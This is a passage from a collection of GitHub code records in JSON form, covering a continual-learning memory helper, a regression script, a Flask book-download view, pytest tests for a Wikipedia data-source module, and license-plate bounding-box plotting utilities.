self.task2numclasses(tasks)\n        a =  int(n / number_of_classes)\n        remaining = n % number_of_classes\n        samples_per_class = [a for _ in range(number_of_classes)]\n        for i in range(remaining):\n            samples_per_class[i] = samples_per_class[i] + 1\n        return samples_per_class\n    \n    def task2numclasses(self, tasks: List) -> int:\n        numclasses = 0\n        for task in tasks:\n            numclasses = numclasses + len(self.task2classes[task]) \n        return numclasses", "repo_name": "BurakGurbuz97/SHARP-Continual-Learning", "sub_path": "Source/memory.py", "file_name": "memory.py", "file_ext": "py", "file_size_in_byte": 4128, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.Tensor", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.round", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.uint8", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.float32", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 25, "usage_type": "attribute"}, {"api_name": "argparse.Namespace", "line_number": 33, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 42, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.random.choice", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.stack", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 65, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.typing.NDArray", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 67, "usage_type": "name"}, {"api_name": "numpy.random.choice", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 76, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 79, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 67, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 86, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 95, "usage_type": "name"}]}
{"seq_id": "39960150864", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Apr 22 02:22:14 2017\r\noriginal source: https://github.com/lazyprogrammer/machine_learning_examples/tree/master/linear_regression_class\r\n@author: tsann\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#loadd data\r\nX = []\r\nY = []\r\n\r\ndf = pd.read_excel('mlr02.xls')\r\nX = df.as_matrix()\r\n\r\nplt.scatter(X[:,1], X[:,0])\r\nplt.show()\r\n\r\nplt.scatter(X[:,2], X[:,0])\r\nplt.show()\r\n\r\ndf['ones'] = 1\r\nY = df['X1']\r\nX = df[['X2','X3','ones']]\r\nX2only = df[['X2','ones']]\r\nX3only = df[['X3','ones']]\r\n\r\ndef get_r2(X,Y):\r\n    #calculate weight\r\n    w = np.linalg.solve(np.dot(X.T, X), np.dot(X.T,Y))\r\n    Yhat = np.dot(X, w)\r\n    print(\"w: \" + str(w))\r\n    \r\n    ##computer r-square\r\n    d1 = Y - Yhat\r\n    d2 = Y - Y.mean()\r\n    r2 = 1 - d1.dot(d1)/d2.dot(d2)\r\n    \r\n    return r2\r\n\r\nprint(\"R2 for x2= \"+str(get_r2(X2only, Y)))\r\nprint(\"R2 for x3= \"+str(get_r2(X3only, Y)))\r\nprint(\"R2 for both= \"+str(get_r2(X, Y)))\r\n\r\n", "repo_name": "ytphua/neural-network-journey", "sub_path": "10_linear_regression/10-linear-regression-poly-blood.py", "file_name": "10-linear-regression-poly-blood.py", "file_ext": "py", "file_size_in_byte": 983, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_excel", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.linalg.solve", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "44577587163", "text": "from flask import request, render_template, current_app, jsonify, send_file, flash\nfrom app import app\nfrom app.library.controller import DownloadBook\n\n\n@app.route(\"/search-books\")\ndef search_books():\n    base_url = current_app.config[\"BASE_URI\"]\n    search_url = current_app.config[\"SEARCH_URI\"]\n    search_query = request.args.get(\"query\", \"\").lower()\n    \n    if not search_query:\n        flash('Enter a search query', 'error')\n        return render_template('index.html')\n    else:\n        search_url = str(search_url).format(base_url, search_query.replace(\" \", \"+\"))\n        data = DownloadBook.search_books(search_url, search_query)\n    # books = DownloadBook.rank_list(data, search_query)\n    if not len(data):\n        flash('Could not find book. Check name of book again or it may not be available', 'error')\n        return render_template('index.html')\n    else:\n        return render_template('index.html', books=data)\n\n\n@app.route(\"/get-book\", methods=[\"POST\"])\ndef download_book():\n    url = request.form[\"url\"]\n    base_url = current_app.config[\"BASE_URI\"]\n    url = base_url + url\n    book, name = DownloadBook.get_book(url)\n    return send_file(book, as_attachment=True, attachment_filename=name)\n", "repo_name": "hashims/bookberry", "sub_path": "app/library/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1212, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.current_app.config", "line_number": 8, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 8, "usage_type": "name"}, {"api_name": "flask.current_app.config", "line_number": 9, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 9, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 10, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 10, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 14, "usage_type": "call"}, {"api_name": "app.library.controller.DownloadBook.search_books", "line_number": 17, "usage_type": "call"}, {"api_name": "app.library.controller.DownloadBook", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 23, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 6, "usage_type": "call"}, {"api_name": "app.app", "line_number": 6, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.current_app.config", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 29, "usage_type": "name"}, {"api_name": "app.library.controller.DownloadBook.get_book", "line_number": 31, "usage_type": "call"}, {"api_name": "app.library.controller.DownloadBook", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.send_file", "line_number": 32, "usage_type": "call"}, {"api_name": "app.app.route", "line_number": 26, "usage_type": "call"}, {"api_name": "app.app", "line_number": 26, "usage_type": "name"}]}
{"seq_id": "73156573671", "text": "import pytest  # type: ignore\nimport unittest.mock as mock\nimport sys\nimport datetime\nfrom decimal import Decimal\nimport os\n\n# import urllib.parse\n# from bs4 import BeautifulSoup  # type: ignore\n\nsys.path.append(os.path.realpath(os.path.dirname(__file__) + \"/../src\"))\n# import app  # noqa: E402\n# import sigprobs  # noqa: E402\nimport datasources  # noqa: E402\nimport datasources.db  # noqa: E402\n\n\n@pytest.fixture(\n    scope=\"module\",\n    params=[dict(domain=\"en.wikipedia.org\", dbname=\"enwiki\")],\n)\ndef site(request):\n    return request.param\n\n\n@pytest.fixture(scope=\"module\")\ndef sitedata(site):\n    data = datasources.get_site_data(site[\"domain\"])\n    return data\n\n\ndef test_wmcs_true():\n    m = mock.mock_open(read_data=\"toolforge\")\n    with mock.patch(\"datasources.db.open\", m):\n        assert datasources.wmcs() is True\n    m.assert_called_once_with(\"/etc/wmcs-project\")\n    m().close.assert_called_once\n\n\ndef test_wmcs_false():\n    assert datasources.wmcs() is False\n\n\ndef test_do_db_query_nodb():\n    m = mock.Mock(return_value=False)\n    with mock.patch(\"datasources.wmcs\", m):\n        with pytest.raises(ConnectionError):\n            datasources.do_db_query(\"meta_p\", \"\")\n\n\n@mock.patch(\"datasources.db.wmcs\", return_value=True)\ndef test_do_db_query(wmcs):\n    cur = mock.MagicMock()\n    cur.fetchall.return_value = mock.sentinel.fetchall\n    conn = mock.MagicMock()\n    conn.cursor.return_value.__enter__.return_value = cur\n    connect = mock.MagicMock(return_value=conn)\n    with mock.patch(\"toolforge.connect\", connect):\n        res = datasources.do_db_query(\n            mock.sentinel.db_name, mock.sentinel.query, foo=\"bar\"\n        )\n\n    assert res is mock.sentinel.fetchall\n    connect.assert_called_once_with(mock.sentinel.db_name)\n    conn.cursor.assert_called_once()\n    cur.execute.assert_called_once_with(mock.sentinel.query, {\"foo\": \"bar\"})\n    cur.fetchall.assert_called_once()\n\n\ndef test_db_get_sitematrix():\n    test_data = [\n        \"en.wikipedia.org\",\n        \"commons.wikimedia.org\",\n        \"fr.wikipedia.org\",\n    ]\n    mock_db_query = mock.Mock()\n    mock_db_query.return_value = [(\"https://\" + site,) for site in test_data]\n    with mock.patch(\"datasources.db.do_db_query\", mock_db_query):\n        sitematrix = list(datasources.get_sitematrix())\n    assert sitematrix == test_data\n\n    mock_db_query.assert_called_once_with(\n        \"meta_p\", \"SELECT url FROM meta_p.wiki WHERE is_closed = 0;\"\n    )\n\n\ndef test_api_get_sitematrix():\n    test_data = [\n        \"en.wikipedia.org\",\n        \"commons.wikimedia.org\",\n        \"fr.wikipedia.org\",\n    ]\n    sitematrix = datasources.get_sitematrix()\n    for site in test_data:\n        assert site in sitematrix\n    assert \"otrs-wiki.wikimedia.org\" not in sitematrix\n\n\n@pytest.mark.parametrize(\n    \"user,expected\", [(\"AntiCompositeNumber\", True), (\"AntiCompositeLetter\", False)]\n)\ndef test_api_check_user_exists(user, expected, sitedata):\n    result = datasources.check_user_exists(user, sitedata)\n    assert result is expected\n\n\n@pytest.mark.parametrize(\n    \"user,expected\", [(\"AntiCompositeNumber\", True), (\"AntiCompositeLetter\", False)]\n)\ndef test_db_check_user_exists(user, expected, sitedata):\n    with mock.patch(\n        \"datasources.do_db_query\", return_value=((12345,),) if expected else ()\n    ):\n        result = datasources.check_user_exists(user, sitedata)\n    assert result is expected\n\n\n@pytest.mark.parametrize(\n    \"site,url,raw_slice,expected\",\n    [\n        (\"en.wikipedia.org\", \"https://en.wikipedia.org\", \"s1.labsdb\", \"s1\"),\n        (\"commons.wikimedia.org\", \"https://commons.wikimedia.org\", \"s4.labsdb\", \"s4\"),\n    ],\n)\ndef test_get_shard_from_site(site, url, raw_slice, expected):\n    with mock.patch(\n        \"datasources.db.do_db_query\", return_value=((raw_slice,),)\n    ) as mock_query:\n        assert datasources.db._get_shard_from_site(site) == expected\n        mock_query.assert_called_once_with(\"meta\", mock.ANY, site=url)\n\n\n@pytest.mark.parametrize(\"sec\", [274226.9988, 0.0])\ndef test_get_site_replag(sec):\n    with mock.patch(\"datasources.db.do_db_query\", return_value=((Decimal(sec),),)):\n        assert datasources.get_site_replag(\"enwiki_p\") == datetime.timedelta(\n            seconds=sec\n        )\n", "repo_name": "AntiCompositeNumber/signatures", "sub_path": "tests/test_datasources.py", "file_name": "test_datasources.py", "file_ext": "py", "file_size_in_byte": 4210, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 18, "usage_type": "call"}, {"api_name": "datasources.get_site_data", "line_number": 28, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 26, "usage_type": "call"}, {"api_name": "unittest.mock.mock_open", "line_number": 33, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 33, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 34, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 34, "usage_type": "name"}, {"api_name": "datasources.wmcs", "line_number": 35, "usage_type": "call"}, {"api_name": "datasources.wmcs", "line_number": 41, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 45, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 45, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 46, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 46, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 47, "usage_type": "call"}, {"api_name": "datasources.do_db_query", "line_number": 48, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 53, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 53, "usage_type": "name"}, {"api_name": "unittest.mock.sentinel", "line_number": 54, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 54, "usage_type": "name"}, {"api_name": "unittest.mock.MagicMock", "line_number": 55, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 55, "usage_type": "name"}, {"api_name": "unittest.mock.MagicMock", "line_number": 57, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 57, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 58, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 58, "usage_type": "name"}, {"api_name": "datasources.do_db_query", "line_number": 59, "usage_type": "call"}, {"api_name": "unittest.mock.sentinel", "line_number": 60, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 60, "usage_type": "name"}, {"api_name": "unittest.mock.sentinel", "line_number": 63, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 63, "usage_type": "name"}, {"api_name": "unittest.mock.sentinel", "line_number": 64, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 64, "usage_type": "name"}, {"api_name": "unittest.mock.sentinel", "line_number": 66, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 66, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 51, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 51, "usage_type": "name"}, {"api_name": "unittest.mock.Mock", "line_number": 76, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 76, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 78, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 78, "usage_type": "name"}, {"api_name": "datasources.get_sitematrix", "line_number": 79, "usage_type": "call"}, {"api_name": "datasources.get_sitematrix", "line_number": 93, "usage_type": "call"}, {"api_name": "datasources.check_user_exists", "line_number": 103, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 99, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 99, "usage_type": "attribute"}, {"api_name": "unittest.mock.patch", "line_number": 111, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 111, "usage_type": "name"}, {"api_name": "datasources.check_user_exists", "line_number": 114, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 107, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 107, "usage_type": "attribute"}, {"api_name": "unittest.mock.patch", "line_number": 126, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 126, "usage_type": "name"}, {"api_name": "datasources.db._get_shard_from_site", "line_number": 129, "usage_type": "call"}, {"api_name": "datasources.db", "line_number": 129, "usage_type": "attribute"}, {"api_name": "unittest.mock.ANY", "line_number": 130, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 130, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 118, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 118, "usage_type": "attribute"}, {"api_name": "unittest.mock.patch", "line_number": 135, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 135, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 135, "usage_type": "call"}, {"api_name": "datasources.get_site_replag", "line_number": 136, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 136, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 133, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 133, "usage_type": "attribute"}]}
{"seq_id": "23024327819", "text": "import scipy\nimport numpy as np\nimport os\nimport os.path\nimport pandas\nimport scipy.ndimage\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom tiling import TileCounter\nfrom functools import reduce\nfrom label import *\n\n\ndef filter_result(result, alpha):\n    res = []\n\n    for i in range(np.shape(result)[0]):\n        for j in range(np.shape(result)[1]):\n            if result[i,j,4] > alpha:\n                res.append(result[i,j])\n\n    return res\n\n\ndef find_max(labels, pos):\n    def get_bigger(x, y):\n        if x[pos] > y[pos]:\n            return x\n        else:\n            return y\n\n    min_value = 1000\n    res = list(np.zeros(np.shape(labels)[1]) - min_value)\n    return reduce(get_bigger, labels, res)\n\n\ndef intersection_over_union(label1, label2):\n    label1_minx = label1[0]\n    label1_miny = label1[1]\n    label1_maxx = label1[0] + label1[2]\n    label1_maxy = label1[1] + label1[3]\n\n    label2_minx = label2[0]\n    label2_miny = label2[1]\n    label2_maxx = label2[0] + label2[2]\n    label2_maxy = label2[1] + label2[3]\n\n    x1 = max(label1_minx, label2_minx)\n    x2 = min(label1_maxx, label2_maxx)\n    y1 = max(label1_miny, label2_miny)\n    y2 = min(label1_maxy, label2_maxy)\n\n    intersect = max((x2-x1),0) * max((y2-y1), 0)\n\n    union = ((label1_maxx - label1_minx) * (label1_maxy - label1_miny)\n            + (label2_maxx - label2_minx) * (label2_maxy - label2_miny)\n            - intersect)\n\n    return intersect / (union + 1e-6) #, intersect, union\n\n\ndef non_max_supp(labels):\n    \"\"\"\n        Labels: [x, y, w, h, confidence]\n    \"\"\"\n    open_set = list(map(list, np.copy(labels)))\n    res = []\n\n    while(len(open_set) > 0):\n        max_label = list(find_max(open_set, 4))\n        print(\"Checking label: %s\" % max_label)\n        res.append(max_label)\n        print(\"Result so far: %s\" % res)\n        print(\"Open set: %s\" % open_set)\n        open_set.remove(max_label)\n\n        head, *_ = open_set\n        if intersection_over_union(max_label, head) > 0.5:\n            open_set.remove(head)\n\n    return res\n\n\ndef convert_network_output(network_output, alpha = 0.5):\n    res = {}\n    for i in range(np.shape(network_output)[0]):\n        for j in range(np.shape(network_output)[1]):\n            if network_output[i,j,5] > alpha:\n                res[(i,j)] = np.reshape(network_output[i,j,:4], [2,2])\n    return res\n\n\n\ndef get_image_stats(location : str):\n    \"\"\"\n        Collects the dimensions of the image into a pandas.DataFrame\n        if z coordinate is NaN, it means the image is black and white\n    \"\"\"\n    res = []\n    for root, dirs, files in os.walk(location):\n        for f in files:\n            if f.endswith(\".jpg\"):\n                fullName = os.path.join(location, f)\n                im = scipy.ndimage.imread(fullName)\n                stats = [f]\n                stats.extend(np.shape(im))\n                res.append(stats)\n    return pandas.DataFrame(data = res, columns = [\"file name\", \"x\", \"y\", \"z\"])\n\n\ndef order_labels(labels : list) -> list:\n    if len(labels) > 1:\n        return sorted(labels)\n    else:\n        return labels\n\n\ndef get_bounding_box(sample_image : dir) -> list:\n    \"\"\"\n        This function assumes that the labels describe polygon, not bounding boxes\n    \"\"\"\n    return LicensePlateList(read_classic_label(sample_image)).getBoundingBoxCoordinates()\n\n\ndef get_label_file_dir(image_dir : dir):\n    return \".\".join(image_dir.split(\".\")[:-1]) + \".txt\"\n\n\ndef read_classic_label(sample_image : dir) -> List[np.ndarray]:\n    \"\"\"Reads the license plate coordinates from the file.\n\n    Classic labels are expected in the following form:\n    x11, y11, ..., x14, y14\n    x21, y21, ..., x24, y24\n    ...\n    xN1, yN1, ..., xN4, yN4\n\n    i.e. every line contains 4 vertices of the bounding quadrangle\n\n    :param sample_image: location of the correspinding image\n    :return: List of license plate bounding polygons in the form [x1, y1, ... ,x4,y4]\n    \"\"\"\n    textFileName = get_label_file_dir(sample_image)\n    f = open(textFileName, \"r\")\n    line = f.readline().strip().split(\",\")\n    res = []\n    while len(line) > 1:\n        res.append([int(i) for i in line])\n        line = f.readline().strip().split(\",\")\n\n    #print(\"Classic label output: %s\" % res)\n    return res\n\n\n\ndef get_bounding_polygon(sample_image : dir):\n    \"\"\"\n        It assumes that the label is in the same location with the same name\n        as the picture except for the \".txt\" extension. \n        E.g. if the picture's location (sample_image) is \n            \"./samples/pic331.jpg\",\n        the label must be in \n            \"./samples/pic331.txt\"\n       \n        Labels are assumed to be in the following form in the label txt:\n            x1,y1,x2,y2[,x3,y3,x4,y4]\n\n        This function works even if only 2 vertices are provided (for bounding boxes).\n    \"\"\"\n    textFileName = get_label_file_dir(sample_image)\n    f = open(textFileName, \"r\")\n    coords = f.readline().strip().split(\",\")\n    res = []\n    while len(coords) > 1:\n        res.append(np.array([coords[i:i+2] for i in range(0, len(coords), 2)]).astype(\"int\")) # group by 2\n        coords = f.readline().strip().split(\",\")\n    #return order_labels(res)\n    return res\n\n\"\"\"\ndef draw_bounding_box_from_polygons(image : np.ndarray, label_polygon : list, output_polygon : list = None):\n    draw_bounding_box(image, convert_to_bounding_boxes(label_polygon),\n        convert_to_bounding_boxes(output_polygon))\n\"\"\"\n\ndef save_bounding_box(image : np.ndarray, \n                      label_polygon : list,\n                      save_file_loc : dir,\n                      output_polygon : list = None,\n                      tile_num_x = 8,\n                      tile_num_y = 8):\n    _draw_bounding_box(image, label_polygon, output_polygon, tile_num_x, tile_num_y)\n    plt.savefig(save_file_loc)\n\n\n\n\ndef draw_bounding_box(image : np.ndarray, \n                      label_polygon : list,\n                      output_polygon : list = None,\n                      draw_tiles : bool = False,\n                      tile_num_x = 16,\n                      tile_num_y = 16,\n                      height_width : bool = True):\n    _draw_bounding_box(image, label_polygon, output_polygon, draw_tiles, tile_num_x, tile_num_y, height_width)\n    plt.show()\n\n\ndef _draw_bounding_box_on_pic(ax, label, height_width : bool = False):\n    if height_width:\n        ax.add_patch(patches.Rectangle(\n            (label[0][0], label[0][1]),\n            label[1][0], label[1][1],\n            fill=False, linewidth=1, color='tab:blue'))\n    else:\n        ax.add_patch(patches.Rectangle(\n            (label[0][0], label[0][1]),\n            label[1][0] - label[0][0],\n            label[1][1] - label[0][1],\n            fill=False, linewidth=1, color='tab:blue'))\n\n\ndef _draw_bounding_box(image : np.ndarray, \n                      label_polygon : list,\n                      output_polygon : list = None,\n                      draw_tiles : bool = False,\n                      tile_num_x = 16,\n                      tile_num_y = 16,\n                      height_width: bool = True):\n    \"\"\"\n        `label_polygon` and `output_polygon` are both expected in the following form:\n          [ [x1,y1], [x2,y2], [x3,y3], [x4,y4] ]\n        typewise both can be numpy ndarrays or list of lists\n    \"\"\"\n    fig, ax = plt.subplots(1)\n    shape = np.shape(image)\n    size_x = shape[1]\n    size_y = shape[0]\n\n    if draw_tiles:\n        tileCounter = TileCounter(tile_num_x, tile_num_y, size_x, size_y)\n        tile_list = tileCounter.getTiles(label_polygon)\n        draw_tiles(ax, tile_list, size_x, size_y)\n        draw_grid_on_pic(ax, size_x, size_y, tile_num_x, tile_num_y)\n\n    if len(shape) > 2:\n        ax.imshow(image)\n    else:\n        ax.imshow(image, cmap='gray')\n\n    for one_label in label_polygon:\n        # rectangle expects height and width and not 2nd coordinates as the 2nd vertice of the bounding box\n        _draw_bounding_box_on_pic(ax, one_label, height_width=height_width)\n\n    if output_polygon is not None:\n        for one_output_polygon in output_polygon:\n            if height_width:\n                ax.add_patch(patches.Rectangle(\n                    (one_output_polygon[0][0], one_output_polygon[0][1]),\n                    one_output_polygon[1][0], one_output_polygon[1][1],\n                    fill=False, linewidth=1, color='tab:blue'))\n            else:\n                ax.add_patch(patches.Rectangle(\n                    (one_output_polygon[0][0], one_output_polygon[0][1]),\n                    one_output_polygon[0][0] - one_output_polygon[1][0],\n                    one_output_polygon[0][1] - one_output_polygon[1][1],\n                    fill=False, linewidth=1, color='tab:blue'))\n\n    plt.show()\n\n\n\n\ndef draw_bounding_polygon(image : np.ndarray, label_polygon : list, output_polygon : list = None):\n    \"\"\"\n        `label_polygon` and `output_polygon` are both expected in the following form:\n          [ [x1,y1], [x2,y2], [x3,y3], [x4,y4] ]\n        typewise both can be numpy ndarrays or list of lists\n    \"\"\"\n    fig, ax = plt.subplots(1)\n    shape = np.shape(image)\n    if len(shape) > 2:\n        ax.imshow(image)\n    else:\n        ax.imshow(image, cmap='gray')\n    for one_label in label_polygon:\n        ax.add_patch(patches.Polygon(one_label, fill=False, linewidth=1, color='tab:green'))\n\n    if output_polygon is not None:\n        for one_output_polygon in output_polygon:\n            ax.add_patch(patches.Polygon(one_output_polygon, fill=False, linewidth=1, color='tab:red'))\n\n    plt.show()\n\n\ndef plot_output(image, label_output, logit_output, alpha = 0.5):\n    converted_label = convert_network_output(logit_output, alpha)\n    print(\"number of filtered elements in logit output: %i\" % len(converted_label))\n    print(\"filtered output: %s\" % str(converted_label))\n    draw_float_bounding_box(\n            np.squeeze(image),\n            np.reshape(label_output[:,:4], [np.shape(label_output)[0],2,2]), \n            converted_label,\n            midrepr = True)\n\n\ndef draw_float_bounding_box(image : np.ndarray,\n                            label_polygon : list,\n                            output_polygon : list = None,\n                            draw_tiles : bool = False,\n                            tile_num_x = 5,\n                            tile_num_y = 5,\n                            midrepr = False):\n    \"\"\"\n        `label_polygon` and `output_polygon` are both expected in the following form:\n          [ [x1,y1], [x2,y2] ]\n        typewise both can be numpy ndarrays or list of lists\n    \"\"\"\n    fig, ax = plt.subplots(1)\n    #canvas = FigureCanvas(fig)\n\n    shape = np.shape(image)\n    size_x = shape[1]\n    size_y = shape[0]\n\n    if draw_tiles:\n        tileCounter = TileCounter(tile_num_x, tile_num_y, size_x, size_y)\n        tile_list = tileCounter.getTiles(label_polygon)\n        draw_tiles(ax, tile_list, size_x, size_y)\n\n    for one_label in label_polygon:\n        output = np.copy(np.asarray(one_label))\n\n        \"\"\"\n        for l in output:\n            l[0] *= size_x\n            l[1] *= size_y\n        \"\"\"\n        print(\"output: %s\" % str(output))\n        output[0][0] *= size_x\n        output[1][0] *= size_x\n        output[0][1] *= size_y\n        output[1][1] *= size_y\n\n        if midrepr:\n            output[0][0] -=  (output[1][0] / 2)\n            output[0][1] -=  (output[1][1] / 2)\n        else:\n            output[1][0] -= output[0][0]\n            output[1][1] -= output[0][1]\n\n        ax.add_patch(patches.Rectangle( \n            (output[0][0], output[0][1]),\n            output[1][0], output[1][1],\n            fill=True, linewidth=1, color='tab:green', alpha=0.5))\n\n    \"\"\" I don't quite remember why it was this way\n    if output_polygon is not None:\n        for pos, one_output in output_polygon.items():\n            output = np.copy(np.asarray(one_output))\n\n            print(\"output: (%s, %s)\" % (pos, one_output))\n\n            output[0][0] += (pos[1] / tile_num_x)\n            output[0][1] += (pos[0] / tile_num_y)\n\n            print(\"(%.8f, %.8f)\" % (output[0][0], output[0][1]))\n\n            output[0][0] *= size_x/tile_num_x\n            output[1][0] *= size_x/tile_num_y\n            output[0][1] *= size_y\n            output[1][1] *= size_y\n\n            if midrepr:\n                output[0][0] -=  (output[1][0] / 2)\n                output[0][1] -=  (output[1][1] / 2)\n\n            ax.add_patch(patches.Rectangle( \n                (output[0][0], output[0][1]),\n                output[1][1], output[1][0],\n                fill=True, linewidth=1, color='tab:blue', alpha=0.5))\n    \"\"\"\n    if output_polygon is not None:\n        for one_l_output in output_polygon:\n            one_output = np.copy(np.asarray(one_l_output))\n            print(\"net output: %s\" % str(one_output))\n            one_output[0][0] *= size_x\n            one_output[1][0] *= size_x\n            one_output[0][1] *= size_y\n            one_output[1][1] *= size_y\n\n            if midrepr:\n                one_output[0][0] -= (one_output[1][0] / 2)\n                one_output[0][1] -= (one_output[1][1] / 2)\n            else:\n                one_output[1][0] -= one_output[0][0]\n                one_output[1][1] -= one_output[0][1]\n\n            ax.add_patch(patches.Rectangle(\n                (one_output[0][0], one_output[0][1]),\n                one_output[1][0], one_output[1][1],\n                fill=True, linewidth=1, color='tab:red', alpha=0.5))\n\n    ax.imshow(image, cmap='gray')\n\n    #plt.show()\n\n    fig.canvas.draw()\n\n    data = np.fromstring(fig.canvas.tostring_rgb(), dtype='uint8', sep='')\n    return data.reshape(fig.canvas.get_width_height()[::-1] + (3,))\n\n\n\ndef draw_tiles(ax, tiles : list, size_x : int, size_y : int):\n    for tile in tiles:\n        x = int(tile.getX1(size_x))\n        y = int(tile.getY1(size_y))\n        w = int(tile.getWidth(size_x))\n        h = 